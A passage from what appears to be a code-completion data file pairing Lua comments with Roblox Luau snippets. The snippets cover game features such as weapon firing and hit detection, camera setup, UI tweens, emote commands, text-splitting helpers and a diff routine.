= Heat\n\tscript.Parent.Temp.Text = math.floor(Heat)..\"\u00b0c\"\nend\nend\n"} +{"prompt": "--// # key, Traffic Director", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"b\" then \n\t\tveh.Lightbar.middle.Beep:Play()\n\t\tveh.Lightbar.middle.Yelp2:Play()\n\t\tveh.Lightbar.Remotes.TDEvent:FireServer(true)\n\tend\nend)\n"} +{"prompt": "-- how many bullets are fired at a time", "completion": "\nlocal BulletCount = 4"} +{"prompt": "-- << VARIABLES >>", "completion": "\nlocal frame = main.gui.MainFrame.Pages.Commands\nlocal pages = {\n\tcommands = frame.Commands;\n\t--voiceChat = frame.VoiceChat;\n\tmorphs = frame.Morphs;\n\tdetails = frame.Details;\n}\nlocal templateC1 = pages.commands.TemplateOne\nlocal templateC2 = pages.commands.TemplateTwo\nlocal templateM = pages.morphs.Template\nlocal infoOrder = {\"Aliases\", \"Undo\", \"Desc\", \"Rank\", \"Loop\", \"Tags\", \"Credit\"}\nlocal infoMatch = {\"Aliases\", \"UnFunction\", \"Description\", \"Rank\", \"Loopable\", \"Tags\", \"Contributors\"}\n\n\n"} +{"prompt": "-- type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]]", "completion": "\n"} +{"prompt": "--[[\n\tLegacyCamera - Implements legacy controller types: Attach, Fixed, Watch\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n\nlocal ZERO_VECTOR2 = Vector2.new(0,0)\n\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\n"} +{"prompt": "-- Make signal strict", "completion": "\nsetmetatable(Signal, {\n\t__index = function(_tb, key)\n\t\terror((\"Attempt to get Signal::%s (not a valid member)\"):format(tostring(key)), 2)\n\tend,\n\t__newindex = function(_tb, key, _value)\n\t\terror((\"Attempt to set Signal::%s (not a valid member)\"):format(tostring(key)), 2)\n\tend,\n})\n\nreturn Signal\n"} +{"prompt": "--// Firemode Functions", "completion": "\nfunction CreateBullet(L_197_arg1)\n\tlocal L_198_ = L_56_.Position\n\tlocal L_199_ = (L_4_.Hit.p - L_198_).unit\n\tlocal L_200_ = CFrame.Angles(math.rad(math.random(-L_197_arg1, L_197_arg1)), math.rad(math.random(-L_197_arg1, L_197_arg1)), math.rad(math.random(-L_197_arg1, L_197_arg1)))\n\tL_199_ = L_200_ * L_199_\t\n\tlocal L_201_ = CFrame.new(L_198_, L_198_ + L_199_)\t\n\t\t\n\tlocal L_202_ = Instance.new(\"Part\", L_98_)\n\tgame.Debris:AddItem(L_202_, 10)\n\tL_202_.Shape = Enum.PartType.Ball\n\tL_202_.Size = Vector3.new(1, 1, 12)\n\tL_202_.Name = \"Bullet\"\n\tL_202_.TopSurface = \"Smooth\"\n\tL_202_.BottomSurface = \"Smooth\"\n\tL_202_.BrickColor = BrickColor.new(\"Bright green\")\n\tL_202_.Material = \"Neon\"\n\tL_202_.CanCollide = false\n\t\t--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)\n\tL_202_.CFrame = L_201_\n\t\t\n\tlocal L_203_ = Instance.new(\"Sound\")\n\tL_203_.SoundId = \"rbxassetid://341519743\"\n\tL_203_.Looped = true\n\tL_203_:Play()\n\tL_203_.Parent = L_202_\n\tL_203_.Volume = 0.4\n\tL_203_.MaxDistance = 30\n\t\n\tL_202_.Transparency = 1\n\tlocal L_204_ = L_202_:GetMass()\n\tlocal L_205_ = Instance.new('BodyForce', L_202_)\n\t\t\n\tif not L_80_ then\n\t\tL_205_.Force = L_24_.BulletPhysics\n\t\tL_202_.Velocity = L_199_ * L_24_.BulletSpeed\n\telse\n\t\tL_205_.Force = L_24_.ExploPhysics\n\t\tL_202_.Velocity = L_199_ * L_24_.ExploSpeed\n\tend\n\t\t\n\tlocal L_206_ = Instance.new('Attachment', L_202_)\n\tL_206_.Position = Vector3.new(0.1, 0, 0)\n\tlocal L_207_ = Instance.new('Attachment', L_202_)\n\tL_207_.Position = Vector3.new(-0.1, 0, 0)\n\t\t\t\n\tlocal L_208_ = TracerCalculation()\n\t\t\n\tif L_24_.TracerEnabled == true and L_208_ then\n\t\tlocal L_209_ = Instance.new('Trail', L_202_)\n\t\tL_209_.Attachment0 = L_206_\n\t\tL_209_.Attachment1 = L_207_\n\t\tL_209_.Transparency = NumberSequence.new(L_24_.TracerTransparency)\n\t\tL_209_.LightEmission = L_24_.TracerLightEmission\n\t\tL_209_.TextureLength = L_24_.TracerTextureLength\n\t\tL_209_.Lifetime = L_24_.TracerLifetime\n\t\tL_209_.FaceCamera = L_24_.TracerFaceCamera\n\t\tL_209_.Color = ColorSequence.new(L_24_.TracerColor.Color)\n\tend\n\t\t\n\tif L_1_:FindFirstChild('Shell') and not L_80_ then\t\n\t\tCreateShell()\t\n\tend\t\n\t\t\n\tdelay(0.2, function()\n\t\tL_202_.Transparency = 0\n\tend)\n\t\n\treturn L_202_\nend\n\nfunction CheckForHumanoid(L_210_arg1)\n\tlocal L_211_\n\tlocal L_212_\n\tif (L_210_arg1.Parent:FindFirstChild(\"Humanoid\") or L_210_arg1.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\tL_211_ = true\n\t\tif L_210_arg1.Parent:FindFirstChild('Humanoid') then\n\t\t\tL_212_ = L_210_arg1.Parent.Humanoid\n\t\telseif L_210_arg1.Parent.Parent:FindFirstChild('Humanoid') then\n\t\t\tL_212_ = L_210_arg1.Parent.Parent.Humanoid\n\t\tend\n\telse\n\t\tL_211_ = false\n\tend\t\n\treturn L_211_, L_212_\nend\n\nfunction CastRay(L_213_arg1)\n\tlocal L_214_, L_215_, L_216_\n\tlocal L_217_ = L_53_.Position;\n\tlocal L_218_ = L_213_arg1.Position;\n\tlocal L_219_ = 0\n\n\tlocal L_220_ = L_80_\t\n\t\n\twhile true do\n\t\tL_103_:wait()\n\t\tL_218_ = L_213_arg1.Position;\n\t\tL_219_ = L_219_ + (L_218_ - L_217_).magnitude\n\t\tL_214_, L_215_, L_216_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_217_, (L_218_ - L_217_)), IgnoreList);\n\t\tlocal L_221_ = Vector3.new(0, 1, 0):Cross(L_216_)\n\t\tlocal L_222_ = math.asin(L_221_.magnitude) -- division by 1 is redundant\n\t\tif L_219_ > L_24_.BulletDecay then\n\t\t\tL_213_arg1:Destroy()\n\t\t\tbreak\n\t\tend\n\t\tif L_214_ and (L_214_ and L_214_.Transparency >= 1 or L_214_.CanCollide == false) and L_214_.Name ~= 'Right Arm' and L_214_.Name ~= 'Left Arm' and L_214_.Name ~= 'Right Leg' and L_214_.Name ~= 'Left Leg' and L_214_.Name ~= 'Armor' then\n\t\t\ttable.insert(IgnoreList, L_214_)\n\t\tend\n\t\n\t\tif L_214_ then\n\t\t\tL_221_ = Vector3.new(0, 1, 0):Cross(L_216_)\n\t\t\tL_222_ = math.asin(L_221_.magnitude) -- division by 1 is redundant\n\t\t\n\t\t\tL_115_:FireServer(L_215_)\n\t\t\n\t\t\tlocal L_223_ = CheckForHumanoid(L_214_)\n\t\t\tif L_223_ == false then\n\t\t\t\tL_213_arg1:Destroy()\n\t\t\t\tlocal L_224_ = L_110_:InvokeServer(L_215_, L_221_, L_222_, L_216_, \"Part\", L_214_)\n\t\t\telseif L_223_ == true then\n\t\t\t\tL_213_arg1:Destroy()\n\t\t\t\tlocal L_225_ = L_110_:InvokeServer(L_215_, L_221_, L_222_, L_216_, \"Human\", L_214_)\n\t\t\tend\n\t\tend\n\t\n\t\tif L_214_ and L_220_ then\n\t\t\tL_113_:FireServer(L_215_)\n\t\tend\n\t\n\t\tif L_214_ and (L_214_.Parent:FindFirstChild(\"Humanoid\") or L_214_.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\tlocal L_226_, L_227_ = CheckForHumanoid(L_214_)\n\t\t\tif L_226_ then\n\t\t\t\tL_108_:FireServer(L_227_)\n\t\t\t\tif L_24_.AntiTK then\n\t\t\t\t\tif game.Players:FindFirstChild(L_227_.Parent.Name) and game.Players:FindFirstChild(L_227_.Parent.Name).TeamColor ~= L_2_.TeamColor then\n\t\t\t\t\t\tif L_214_.Name == 'Head' then\n\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_228_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_228_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_228_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_228_, L_228_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif L_214_.Name ~= 'Head' and not (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tif L_214_.Name ~= 'Torso' and L_214_.Name ~= 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.LimbDamage)\n\t\t\t\t\t\t\telseif L_214_.Name == 'Torso' or L_214_.Name == 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.BaseDamage)\n\t\t\t\t\t\t\telseif L_214_.Name == 'Armor' then\n\t\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.ArmorDamage)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal L_229_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_229_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_229_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_229_, L_229_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_230_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_230_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_230_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_230_, L_230_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif L_214_.Name == 'Head' then\n\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_231_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_231_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_231_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_231_, L_231_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif L_214_.Name ~= 'Head' and not (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tif L_214_.Name ~= 'Torso' and L_214_.Name ~= 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.LimbDamage)\n\t\t\t\t\t\telseif L_214_.Name == 'Torso' or L_214_.Name == 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.BaseDamage)\n\t\t\t\t\t\telseif L_214_.Name == 'Armor' then\n\t\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.ArmorDamage)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal L_232_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_232_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_232_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_232_, L_232_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tL_107_:FireServer(L_227_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_233_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_233_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_233_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_233_, L_233_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\n\t\tif L_214_ and L_214_.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn L_214_, L_215_;\n\t\tend\n\t\tL_217_ = L_218_;\n\tend\nend\n\nfunction fireSemi()\n\tif L_15_ then\n\t\tL_66_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t\n\t\t--CheckReverb()\n\t\t\n\t\tL_56_:WaitForChild('Fire'):Play()\t\n\t\tL_106_:FireServer()\n\t\tL_99_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_100_ = L_100_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_234_, L_235_ = spawn(function()\n\t\t\tCastRay(L_99_)\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_100_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_236_ = JamCalculation()\n\t\tif L_236_ then\n\t\t\tL_66_ = false\n\t\telse\n\t\t\tL_66_ = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction fireExplo()\n\tif L_15_ then\n\t\tL_66_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tL_57_:WaitForChild('Fire'):Play()\n\t\tL_106_:FireServer()\n\t\tL_99_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_102_ = L_102_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_237_, L_238_ = spawn(function()\n\t\t\tCastRay(L_99_)\n\t\tend)\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\t\n\t\tL_66_ = false\n\t\tShooting = false\n\tend\nend\n\nfunction fireShot()\n\tif L_15_ then\n\t\tL_66_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\t--CheckReverb()\n\t\tL_56_:WaitForChild('Fire'):Play()\n\t\tL_106_:FireServer()\n\t\tfor L_240_forvar1 = 1, L_24_.ShotNum do\n\t\t\tL_99_ = CreateBullet(L_24_.BulletSpread)\n\t\t\tlocal L_241_, L_242_ = spawn(function()\n\t\t\t\tCastRay(L_99_)\n\t\t\tend)\n\t\tend\n\t\t\t\t\t\t\n\t\tfor L_243_forvar1, L_244_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\tif L_244_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_244_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_245_forvar1, L_246_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\t\tif L_246_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_246_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_100_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\tL_100_ = L_100_ - 1\n\t\tUpdateAmmo()\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_73_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_73_ = false\n\t\t\n\t\tlocal L_239_ = JamCalculation()\n\t\tif L_239_ then\n\t\t\tL_66_ = false\n\t\telse\n\t\t\tL_66_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBoltAction()\n\tif L_15_ then\n\t\tL_66_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t--CheckReverb()\n\t\tL_56_:WaitForChild('Fire'):Play()\n\t\tL_106_:FireServer()\n\t\tL_99_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_100_ = L_100_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_247_, L_248_ = spawn(function()\n\t\t\tCastRay(L_99_)\n\t\tend)\n\t\t\t\t\t\t\n\t\tfor L_250_forvar1, L_251_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\tif L_251_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_251_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_252_forvar1, L_253_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\t\tif L_253_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_253_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_100_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_73_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_73_ = false\n\t\t\n\t\tlocal L_249_ = JamCalculation()\n\t\tif L_249_ then\n\t\t\tL_66_ = false\n\t\telse\n\t\t\tL_66_ = true\n\t\tend\t\t\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireAuto()\n\twhile not Shooting and L_100_ > 0 and L_65_ and L_66_ and L_15_ do\n\t\tL_66_ = false\n\t\tRecoiling = true\n\t\t--CheckReverb()\n\t\tL_56_:WaitForChild('Fire'):Play()\n\t\tL_106_:FireServer()\n\t\tL_100_ = L_100_ - 1\n\t\tUpdateAmmo()\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\tL_99_ = CreateBullet(L_24_.BulletSpread)\n\t\tlocal L_254_, L_255_ = spawn(function()\n\t\t\tCastRay(L_99_)\n\t\tend)\n\t\t\t\t\t\n\t\tfor L_257_forvar1, L_258_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\tif L_258_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_258_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_259_forvar1, L_260_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\t\tif L_260_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_260_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_100_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_256_ = JamCalculation()\n\t\tif L_256_ then\n\t\t\tL_66_ = false\n\t\telse\n\t\t\tL_66_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBurst()\n\tif not Shooting and L_100_ > 0 and L_65_ and L_15_ then\n\t\tfor L_261_forvar1 = 1, L_24_.BurstNum do\n\t\t\tif L_100_ > 0 and L_65_ then\n\t\t\t\tL_66_ = false\n\t\t\t\tRecoiling = true\n\t\t\t--CheckReverb()\n\t\t\t\tL_56_:WaitForChild('Fire'):Play()\n\t\t\t\tL_106_:FireServer()\n\t\t\t\tL_99_ = CreateBullet(L_24_.BulletSpread)\n\t\t\t\tlocal L_262_, L_263_ = spawn(function()\n\t\t\t\t\tCastRay(L_99_)\n\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\tfor L_265_forvar1, L_266_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\t\t\tif L_266_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\tL_266_forvar2.Enabled = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\n\t\t\t\tdelay(1 / 30, function()\n\t\t\t\t\tfor L_267_forvar1, L_268_forvar2 in pairs(L_56_:GetChildren()) do\n\t\t\t\t\t\tif L_268_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\t\tL_268_forvar2.Enabled = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\n\t\t\t\tif L_24_.CanBolt == true then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\t\t\tif L_100_ > 0 then\n\t\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\n\t\t\t\tL_100_ = L_100_ - 1\n\t\t\t\tUpdateAmmo()\n\t\t\t\tRecoilFront = true\n\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\tRecoiling = false\n\t\t\t\t\tRecoilFront = false\n\t\t\t\tend)\n\t\t\t\twait(L_24_.Firerate)\n\t\t\t\n\t\t\t\tlocal L_264_ = JamCalculation()\n\t\t\t\tif L_264_ then\n\t\t\t\t\tL_66_ = false\n\t\t\t\telse\n\t\t\t\t\tL_66_ = true\n\t\t\t\tend\n\t\t\n\t\t\tend\n\t\t\tShooting = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction Shoot()\n\tif L_15_ and L_66_ then\n\t\tif L_89_ == 1 then\n\t\t\tfireSemi()\n\t\telseif L_89_ == 2 then\n\t\t\tfireAuto()\n\t\telseif L_89_ == 3 then\n\t\t\tfireBurst()\t\n\t\telseif L_89_ == 4 then\n\t\t\tfireBoltAction()\n\t\telseif L_89_ == 5 then\n\t\t\tfireShot()\n\t\telseif L_89_ == 6 then\n\t\t\tfireExplo()\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Hitbox values", "completion": "\nlocal MINIMUM_SECONDS_SCHEDULER: number = 1 / 60\nlocal DEFAULT_SIMULATION_TYPE: RBXScriptSignal = game:GetService(\"RunService\").Heartbeat\n"} +{"prompt": "--print(Speed)", "completion": "\nVelocidade = Speed\nTS:Create(Main.Status.Barra.Stamina, TweenInfo.new(.25), {Size = UDim2.new(Speed/(ServerConfig.RunWalkSpeed * StancesPasta.Mobility.Value),0,0.75,0)} ):Play()\nend)\n\nTS:Create(script.Parent.Efeitos.Health, TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.InOut,-1,true), {Size = UDim2.new(1.2,0,1.4,0)} ):Play()\nHumanoid.Changed:Connect(function(Health)\n\tscript.Parent.Efeitos.Health.ImageTransparency = ((Humanoid.Health - (Humanoid.MaxHealth/2))/(Humanoid.MaxHealth/2))\n\t--[[if Humanoid.Health <= (Humanoid.MaxHealth/2) then\n\t\tscript.Parent.Efeitos.Health.BackgroundTransparency = ((Humanoid.Health)/(Humanoid.MaxHealth/2))\n\t\tscript.Parent.Efeitos.Health.BackgroundColor3 = Color3.fromRGB((170 * (Humanoid.Health)/(Humanoid.MaxHealth/2)) , 0, 0)\n\t\t--script.Parent.Efeitos.Health.ImageColor3 = Color3.fromRGB((170 * (Humanoid.Health)/(Humanoid.MaxHealth/2)) , 0, 0)\n\telse\n\t\t--script.Parent.Efeitos.Health.ImageColor3 = Color3.fromRGB(170, 0, 0)\n\t\tscript.Parent.Efeitos.Health.BackgroundTransparency = 1\n\t\tscript.Parent.Efeitos.Health.BackgroundColor3 = Color3.fromRGB(170, 0, 0)\n\tend]]\nend)\n\n\nFerido.Changed:Connect(function(Valor)"} +{"prompt": "--function ClassZombie:MoveTo(Pad)\n--\tlocal Character = self.Humanoid\n--\tCharacter:MoveTo(Pad.Position)\n--\tCharacter.MoveToFinished:Connect(function()\n--\t\tPad.Open.Value = true\n--\tend)\n--end", "completion": "\n"} +{"prompt": "-- Function to bind to render stepped if player is on PC", "completion": "\nlocal function pcFrame()\n\tframe(mouse.Hit.p)\nend\n"} +{"prompt": "-- functions for grabbing data from input strings", "completion": "\n\nlocal function split(text, pattern)\n\tlocal t = {};\n\tlocal lp = 0;\n\twhile (true) do\n\t\tlocal p = find(text, pattern, lp, true);\n\t\tif (p) then\n\t\t\tinsert(t, sub(text, lp, p - 1));\n\t\t\tlp = p + 1;\n\t\telse\n\t\t\tinsert(t, sub(text, lp));\n\t\t\tbreak;\n\t\tend;\n\tend;\n\treturn t;\nend;\n\nlocal function getLines(text)\n\tlocal text = gsub(text, \"\\t\", rep(\" \", 4));\n\treturn split(text, \"\\n\");\nend;\n\nlocal function getWords(text, includeNewLines)\n\tlocal text = gsub(text, \"\\t\", rep(\" \", 4));\n\tlocal lines , words = split(text, \"\\n\"), {};\n\tlocal nlines = #lines;\n\tfor i = 1, nlines do\n\t\tlocal line = lines[i];\n\t\tfor word in gmatch(line, \" *[^%s]+ *\") do\n\t\t\tinsert(words, word);\n\t\tend;\n\t\tif (includeNewLines and i < nlines) then\n\t\t\tinsert(words, \"\\n\"); \n\t\tend;\n\tend;\n\treturn words;\nend;\n"} +{"prompt": "-- simply pass the error up to the server. The server will strip out any player information.", "completion": "\nScriptContext.Error:Connect(function(message, stack, origin)\n\tClientErrorEvent:FireServer(message, stack, origin)\nend)\n"} +{"prompt": "-- setup emote chat hook", "completion": "\ngame:GetService(\"Players\").LocalPlayer.Chatted:connect(function(msg)\n\tlocal emote = \"\"\n\tif msg == \"/e dance\" then\n\t\temote = dances[math.random(1, #dances)]\n\telseif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, 0.1, Humanoid)\n\tend\n\nend)\n\n"} +{"prompt": "--Ivenatrix making a smoke script from scratch like the supreme being he is xd----", "completion": "\n\n\n"} +{"prompt": "-- the cacheable properties", "completion": "\nlocal properties = {\n\t'BackgroundTransparency',\n\t'ImageTransparency',\n\t'TextTransparency',\n\t'TextStrokeTransparency'\n}\n"} +{"prompt": "-- Color shortcuts: you can use these strings instead of full property names", "completion": "\nlocal propertyShortcuts = {}\npropertyShortcuts.Color = \"TextColor3\"\npropertyShortcuts.StrokeColor = \"TextStrokeColor3\"\npropertyShortcuts.ImageColor = \"ImageColor3\"\n"} +{"prompt": "-- Given index intervals and input function to compare items at indexes,\n-- divide at the middle change.\n--\n-- DO NOT CALL if start === end, because interval cannot contain common items\n-- and because this function will throw the \u201cno overlap\u201d error.", "completion": "\nlocal function divide(\n\tnChange: number,\n\taStart: number,\n\taEnd: number,\n\tbStart: number,\n\tbEnd: number,\n\tisCommon: IsCommon,\n\taIndexesF: Indexes, -- temporary memory, not input nor output\n\taIndexesR: Indexes, -- temporary memory, not input nor output\n\tdivision: Division -- output\n): ()\n\tlocal bF = bStart - aStart -- bIndex = bF + aIndex - kF\n\tlocal bR = bEnd - aEnd -- bIndex = bR + aIndex - kR\n\tlocal aLength = aEnd - aStart\n\tlocal bLength = bEnd - bStart\n\n\t-- Because graph has square or portrait orientation,\n\t-- length difference is minimum number of items to insert from b.\n\t-- Corresponding forward and reverse diagonals in graph\n\t-- depend on length difference of the sequences:\n\t-- kF = kR - baDeltaLength\n\t-- kR = kF + baDeltaLength\n\tlocal baDeltaLength = bLength - aLength\n\n\t-- Optimization: max diagonal in graph intersects corner of shorter side.\n\tlocal iMaxF = aLength\n\tlocal iMaxR = 